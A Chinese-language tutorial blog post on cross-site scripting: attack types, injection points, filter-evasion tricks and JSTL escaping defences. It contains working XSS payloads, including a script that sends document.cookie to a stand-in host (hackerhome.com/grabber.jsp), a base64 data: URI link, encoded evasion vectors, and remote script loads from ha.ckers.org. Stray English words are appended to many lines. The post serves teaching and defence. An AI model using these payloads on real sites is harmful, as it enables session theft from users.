最近纔開始研究HTML以及安全問題。若是有什麼說得不對的地方,望請指出。javascript
在網絡應用安全中,XSS多是最多見,範圍最大,所包含攻擊方法最多,同時也是最難以理解的一種攻擊。在OWASP所列出的十大網絡應用安全風險中,其排名第二位,僅次於SQL Injection。html
而在本篇文章中,咱們將一步一步深刻挖掘XSS的攻擊流程,攻擊手段,以及防護方法等各個方面。java
XSS示例數據庫
在深刻了解XSS的各個方面以前,讓咱們首先了解XSS攻擊究竟是怎樣完成的。express
就以一個博客應用爲例。其經常須要容許讀者對博主的文章進行評論。在輸入評論的編輯欄中,咱們能夠輸入對該文章的評論,也能夠輸入如下HTML標記:瀏覽器
1 <Script>alert(「XSS attack available!」);</Script>
在讀者按下提交鍵以後,該標記將被提交到服務器上,並在其它用戶訪問時做爲評論顯示。此時該用戶所看到網頁中包含該標記的部分元素可能爲:安全
1 <div> 2 <Script>alert(「XSS attack available!」);</Script> 3 </div>
而從用戶的角度來看,該網頁中就出現了一個警告:服務器
也就是說,用戶輸入的腳本語言已經被用戶的瀏覽器成功執行。固然,這可能只是一個對該網站的善意提醒。可是對於一個真正具備惡意的攻擊者,其所插入的腳本代碼更可能以下所示:cookie
1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+' 2 width=16 height=16 border=0 />');</script>
該段腳本將向當前評論內插入一個圖片,而該圖片所對應的URL則指向了hackerhome中的JSP頁面grabber.jsp。從訪問該評論的用戶這一角度看來,其僅僅是一個不能顯示的圖片。可是對於惡意攻擊者而言,該JSP頁面將自動記錄傳入的msg參數內容,即訪問評論用戶所使用的cookie。該cookie可能包含用戶的敏感信息,甚至是用戶名,密碼等重要信息。網絡
XSS分類
上面的XSS示例其實是最容易理解的一種:Stored。除此以外,XSS攻擊還包含另外兩種攻擊方式:Reflected以及DOM Based(Type-0 XSS)。下面咱們就來具體講解各個攻擊方式以及各自的特色。
首先要講解的就是咱們已經見過的Stored攻擊。該攻擊的最大特色就是,用於攻擊的數據永久地存儲在目標網站的服務器中。試着回想上面所給出的例子:在惡意用戶提交帶有惡意代碼的評論時,爲了能讓該評論能夠被其它用戶看到,網站的開發人員必然須要將其永久性地存儲起來,例如數據庫。使用該方法進行攻擊的XSS將對全部訪問該頁面的用戶可見,而且一直保存下去,直到該評論被管理員處理。
第二類XSS攻擊則是Reflected攻擊。該攻擊的最大特色則與Stored攻擊相對:用於攻擊的數據並非永久地存儲在目標網站的服務器中。
那這種攻擊是如何實現的呢?請試想這樣一種狀況:某個網站容許其用戶經過搜索的方式查找具備特定名稱的商戶。對於商戶名稱SomeStore,該搜索功能所返回的頁面地址可能爲:
1 www.SomeWeb.com/search.jsp?storename=SomeStore
若是該查找功能沒有查找到具備該名稱的商戶,那麼網站將會返回一個錯誤頁面:沒有查找到名稱爲SomeStore的商戶信息。此時惡意用戶首先能夠經過在搜索欄中輸入<Script>alert(「XSS attack available!」);</Script>並執行搜索判斷該網站是否有XSS漏洞。若是返回的搜索頁面出現了「XSS attack available!」消息框,那就表示該頁面僅僅簡單地將URL中的參數SomeStore顯示在了頁面之中,而並無對腳本的執行作出防備。接下來,惡意用戶就能夠將商戶名設爲以下的惡意代碼:
1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+' 2 width=0 height=0 border=0 />SomeStore');</script>
也正是因爲搜索頁面僅僅簡單地將該部分組成直接嵌於頁面之上,所以用戶從服務器端獲得的網頁將包含該段代碼,其將自動訪問hackerhome上的grabber.jsp,並將用戶的cookie做爲參數msg的值,從而使得受害者的cookie失竊。
可是如何讓用戶訪問這個頁面呢?很簡單,惡意用戶僅僅須要向那些受害者發送該搜索的連接,併爲該連接附上一段具備吸引力的話便可。若是受害者點擊了該惡意連接,同時該網站的cookie在受害者的本地機器上沒有過時,那麼這個cookie將被惡意網站hackerhome所竊取。
還有一種類型的攻擊也被歸類爲Reflected類型的攻擊,那就是利用data:協議動態生成文件。該協議容許客戶端直接建立二進制文件,如Doc或PDF文件等,並使用相應應用程序打開該文件。例如,惡意用戶能夠經過XSS插入下面的連接:
1 <a href="data:text/html;base64,PHNjcmlwdD5vcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUw9J3h 2 4b28nO2Nsb3NlKCk8L3NjcmlwdD4=" target="_blank">Click me</a>
若是用戶點擊了該連接,那麼電腦將自動使用關聯的程序打開該文件。因爲這些文件的讀取等動做都須要相應的應用程序支持,所以惡意人員能夠更進一步地利用相應的應用程序漏洞執行更豐富的攻擊。
最後一種則是DOM Based攻擊,又經常被稱爲Type-0 XSS攻擊。它與前兩種攻擊方式擁有很大的不一樣:Stored和Reflected方式中,對有害內容的生成是在服務端完成的,而DOM Based攻擊中,對有害內容的生成是在客戶端完成的。例如一個圖片瀏覽頁面在URL中使用index參數表示當前用戶所察看圖片的索引,並經過javascript動態寫入HTML元素:
1 <script> 2 var index = getIndex(document.URL); 3 document.write(「<IMG src=’www.imagestore.com/album1984/image?index=’ + index + ‘/>’」) 4 </script>
那麼惡意用戶就能夠經過在URL的index參數中插入其它信息來完成。例如在該URL中,惡意用戶能夠爲index參數指定參數值後額外添加一部分惡意語句,如通過編碼後的index=1/><script>alert(「XSS attack available!」)</script><img width=0 height=0。固然,惡意用戶並不會但願用戶本身攻擊本身,所以他仍然須要作一些額外的社會工做,例如發送郵件給受害者並誘使他點擊該有害連接等。
攻擊點
相信通過前面的講解,您已經瞭解了XSS攻擊所經常使用的三種方法。知道了方法之後,咱們還要知道各個方法的目標,從而更好地在各個目標上對XSS攻擊進行預防。
首先要清楚的是,XSS攻擊所利用的都是頁面中動態生成的部分。爲了能讓攻擊順利進行,這些動態生成的部分應能包含一系列代碼,以經過這些代碼的執行達到惡意用戶的目的。更改頁面所使用的動態組成是XSS攻擊的第一步,而令這些動態組成在動態生成的內容中起做用則是XSS攻擊的第二步。所以對於頁面中使用動態內容的組成,咱們須要根據其所在位置執行特定的檢查。在不一樣的位置所容許的動態內容格式並不相同,而咱們要作的就是屏蔽這些使用方法。
接下來須要讀者清楚地是,攻擊經常利用了各個組成中的特殊符號或關鍵字。例如對HTML標記的攻擊就能夠經過字符’>’將當前標記關閉,從而使插入script標記成爲了可能。再好比對javascript的攻擊則能夠利用表示當前語句結束的分號’;’,進而輸入下一句具備危害性的代碼。因此說,各類XSS攻擊所使用的手法須要根據攻擊點所在的頁面組成分別進行討論。
第一個要說的就是HTML標記。HTML標記能夠經過JSP,Javascript等方式動態生成。而在HTML標記中添加可執行代碼的最經常使用方法就是<script>標記。例如對於下面的JSP代碼:
1 <body … title=<%=title%>>…</body>
若是title記錄的是字符串100><script> alert(「XSS attack available!」);</script,那麼最終生成的HTML文件將以下所示:
1 <body … title=100><script>alert(「XSS attack available!」);</script>…</body>
能夠看到,惡意攻擊者所精心設計的標記將可以在普通用戶毫無察覺的狀況下執行惡意代碼。
固然,惡意攻擊者也能夠選擇不插入script標記,而是經過插入別的標記並在標記中插入對事件進行響應的javascript腳原本完成。如令上面的width變量爲100><div onmousemove=」doEvil()」/,從而使最終的生成結果變爲:
1 <body … width=100><div onmousemove=」doEvil()」/>…</body>
除此以外,惡意用戶還能夠對HTML標記中的屬性動動手腳。咱們知道,動態生成的HTML經常使用外部的一些變量生成其內容。例如一個JSP頁面中可能存在着以下HTML元素:<body title=<%=somevar%> id=textbox>。能夠看到,JSP變量somevar用來初始化屬性title的值。可是若是惡意用戶設法讓該變量的值爲a onload=alert(「XSS attack available!」),那麼該元素的HTML標記將最終變爲:
1 <body title=a onload=alert(「XSS attack available!」)>
也既是將在文檔被載入時執行onload事件的響應代碼,即爲這裏的alert(「XSS attack available!」)。
再好比,對HTML註釋進行攻擊。若是一個HTML註釋中使用了JSP變量,那麼惡意用戶徹底能夠經過註釋結束標記打開註釋,並在惡意代碼以後從新啓動註釋。例如對於註釋中使用的JSP變量comment:
1 <!-- ...<%=comment%>-->
惡意用戶能夠嘗試令JSP變量comment的值爲--><script>alert(「XSS attack available!」)</script><!--。這樣,一段腳本就成功地插入到了頁面中:
1 <!----><script>alert(「XSS attack available!」)</script><!---->
除了HTML標記以外,對樣式進行攻擊也是XSS所使用的一個主要方法。在樣式中,咱們可使用expression以及url指定一段代碼,以動態求得所須要使用的樣式。這也就爲XSS攻擊提供了一個契機:若是咱們是經過一個JSP變量初始化的樣式,那麼惡意用戶就能夠嘗試經過將該變量初始化爲一個惡意表達式來完成攻擊。例如對於以下兩種樣式:
1 <DIV STYLE="width: <%=width%>"> 2 <DIV STYLE="background-image: <%=image%>">
若是這兩個JSP變量的值能夠被某種用戶輸入更改,那麼對這兩個JSP變量width及image的使用就存在着必定的風險:在加載並使用這些樣式的時候,該變量中所包含的腳本代碼將被執行。例如在這兩個變量分別爲expression(alert('XSS attack available!'))及url(javascript:alert('XSS attack available!'))時,該頁面的加載將顯示「XSS attack available!」的警告信息。
除了樣式和HTML標記以外,對Javascript的攻擊也是很是常見的。在Javascript中使用JSP變量是一種很是常見的用法。在這種用法中,惡意用戶仍然有辦法執行攻擊。例如對於下面的Javascript變量聲明:
1 var index = <%=index%>;
對這種變量賦值進行攻擊的方法很是簡單:使用分號結束當前賦值語句,並在其後添加惡意代碼便可。例如令index爲0; alert(「XSS attack available!」);。那麼最終生成的javascript將爲:
1 var index = 0; alert(「XSS attack available!」);
固然,這裏僅僅列出了一些通用的攻擊手段,確切來講,就是攻擊的點。而在各個點上進行攻擊的方法又會分爲不少種,甚至有些和瀏覽器相關。在後面的一節中,本文就將對這些變種進行簡單的介紹。
變通方法
您可能在想:我經過對這些特殊狀況進行處理,篩選出這些可能的攻擊,那個人網站是否是就安全了?這裏的答案是:不徹底安全。首先,對每一個攻擊點進行攻擊的方法能夠擁有衆多變種,所以對攻擊點的防護並非簡單地將具備固定匹配模式的關鍵字篩選出去便可。其次,隨着HTML等技術的演化以及瀏覽器的不斷更新,對各個攻擊點進行攻擊的變化也在不斷髮展着。最後,各個瀏覽器內部對HTML進行分析的過程以及對錯誤進行糾正的能力各不相同,而有些攻擊就是針對這種瀏覽器的特性而產生的。所以咱們並不該自行實現對XSS攻擊進行過濾的篩選器。
固然,僅僅在這裏說XSS擁有一系列變通方式並不能讓人徹底信服,所以本節中列舉了一系列經常使用的變通方式。
一種經常使用的規避檢測的方法就是使用大小寫變化。例如惡意用戶能夠更改惡意代碼url(javascript:alert('XSS attack available!'))的大小寫,如url(jAVAsCriPt:alert('XSS attack available!'))。這是篩選器所須要處理的最基本狀況。
除此以外,篩選器還須要可以處理隱式建立字符串的狀況。例如在javascript中,咱們能夠經過String.fromCharCode()函數隱式地建立字符串。那麼經過和document.write()函數的組合,惡意用戶能夠很是隱蔽地向HTML文檔寫入字符串:
1 document.write(String.fromCharCode(88,83,83)); // 寫入XSS
而更使人頭疼的則是經過編碼規避篩選器的檢測。例如對於下面的惡意代碼:
1 <IMG SRC="javascript:alert('XSS');">
您能夠經過UTF-8的方式對其進行編碼:
1 <IMG SRC=javascript:alert('XSS')>
而不包含分號的UTF-8編碼則以下所示:
1 <IMG SRC=javascript:al ert('XSS')>
而該編碼也可使用十六進制:
1 <IMG SRC=javascript:alert('XSS')>
甚至只編碼一個字符:
1 <IMG SRC="javascript:alert('XSS');">
另外,在javascript中加入tab,回車,換行,\0等符號也須要考慮在內,由於對於衆多瀏覽器而言,這種寫法是合法的:
1 <IMG SRC="jav ascript:alert('XSS');"> 2 <SCR\0IPT>alert(\"XSS\")</SCR\0IPT>
另外,咱們也能夠對這些字符進行編碼:
1 <IMG SRC="jav
ascript:alert('XSS');">
這還僅僅是一些通用的規避XSS檢測的手段。更有一些手段是針對特定瀏覽器的,更增長了XSS篩選器編寫的難度。例如,因爲某些瀏覽器會認爲一個HTML元素中的非數字或字母的字符爲非法字符,從而認爲其後所跟的全部字符爲空格,從而使下面的攻擊變爲可能(元素或者事件上均可以):
1 <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> 2 <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
同時,瀏覽器對HTML元素的分析以及XSS檢測器的分析邏輯也有可能致使某些漏洞不能檢查出來。例如某些檢測器會首先查找匹配的元素,而後再檢查元素中的內容。那麼下面的攻擊將沒法被檢測出來:<<SCRIPT>alert("XSS");//<</SCRIPT>
相似地,某些瀏覽器會在某些不完整元素以後對元素自動進行修補。例以下面的Script元素開始標記之後沒有結束標記,而Firefox將會爲其添加結束元素:
1 <SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
這便會致使XSS篩選器的執行失敗。
其實,這裏僅僅是但願您看到,自行編寫一個XSS攻擊的篩選器將是多麼龐雜的工做。對於不一樣的網頁組成,XSS所使用的攻擊手法以及規避檢測的手法各不相同。例如若是須要防禦的是URL,那麼首先須要對該URL進行循環解碼操做,而後再檢查其是否包含了有害的內容。同時,須要強調的是,各類規避檢測的手法實際上都是對攻擊手法的掩飾。所以XSS篩選器一般在最後一步真正執行對XSS攻擊的檢查,而前面的各各步驟,如解碼等,都是用來識破真正攻擊的環節。
而咱們真正要作的,則是正確地使用已有的解決方案保證網站的安全。
防護方法
當前,最經常使用的防護方法就是在生成網頁的時候對不信任的輸入進行檢查,如URL以及動態生成的HTML標記等。而對於JSP/Servlet而言,最經常使用的方法就是JSTL(JavaServer Pages Standard Tag Library)的<c:out>標記及fn:escapeXml()函數。在頁面中從新展現用戶輸入的時候,軟件開發人員能夠經過這些標記對XML進行篩選。
1 <input name="foo" value="<c:out value="${value}" />"> 2 <input name="foo" value="${fn:escapeXml(value)}">
能夠看到,該方法是在JSP頁面生成HTML頁面的時候進行的。其實這是一種最多見的JSP頁面處理方法。首先,咱們沒法在用戶輸入的時候知曉該數據將以什麼方式傳遞迴客戶端。例如對於O'Malley,用在Javascript中時應爲O\x27Malley,而在HTML中則應爲O'Malley。另外咱們也沒法保證是否某些數據已經經過其它漏洞被惡意修改。還有一個緣由則是,一旦這些數據發生了更改,那麼想要還原這些數據是不可能的。最後,對於惡意用戶,系統管理員也須要經過數據庫裏所記錄的惡意信息尋求執行法律處理。所以,在通常狀況下,對用戶的輸入在輸入端進行篩選及驗證經常只是一個補充的驗證手段,而很難全面地防護XSS。總的來講,這是由於XSS其實是一個輸出上的問題,而不是輸入上的問題。
一個較爲困難的狀況就是某些網絡應用須要容許用戶使用HTML的部分標記以提供對某些格式的支持。現有的一個比較好的作法則是首先將存儲在數據庫中的用戶輸入(如特定編輯器的輸入)轉化爲html,而後將該html流經過一個白名單進行篩選,以清除危險的html標記及屬性設置,並最終顯示在頁面之中。
通常狀況下,軟件開發人員須要按照以下方式提供一個安全的HTML實現:
1) 在頁面的最一開始顯式地標明Charset,以防止再被插入其它標明字符集的Meta信息,以容許UTF-7攻擊。
2) 檢測URL以將其中包含的各類編碼轉化爲固定編碼。
3) 檢測CSS以防止其包含javascript或expression等可執行組成。
4) 將全部用戶輸入都進行一次轉化。例如將<替換爲<等。
5) 檢查全部的頁面屬性設置,以防止屬性值沒有被引號括起,或某些事件響應函數能夠被用戶輸入所改變。
6) 不容許用戶所提供的HTML。
7) 防止DOM攻擊。
總結
全部類型的攻擊實際上都是整個攻擊過程當中的一個點。特定類型的攻擊利用程序中的特定漏洞。如XSS利用的就是網站中能夠插入並執行用戶輸入的代碼這一弱點。然後續的攻擊手法,例如利用插入的腳本代碼仿造用戶行爲則是CSRF。通常狀況下,XSS並不可怕,可是若是XSS可以成功地完成攻擊,那麼軟件開發人員就能夠經過XSS完成更危險的攻擊,如插入提交代碼轉移資金等。因爲此時用戶處於自身所下載的頁面中,所以CSRF防護措施根本沒法有效執行。
XSS其實是一種特殊類型的code injection。其最主要的特色就是利用動態網頁的動態功能插入惡意代碼以得到隱祕數據。而將數據傳送到其它網絡或將用戶鏈接到其它網絡的這一步驟則是惡意用戶經常採用的行爲,也即是跨站這個名稱的由來。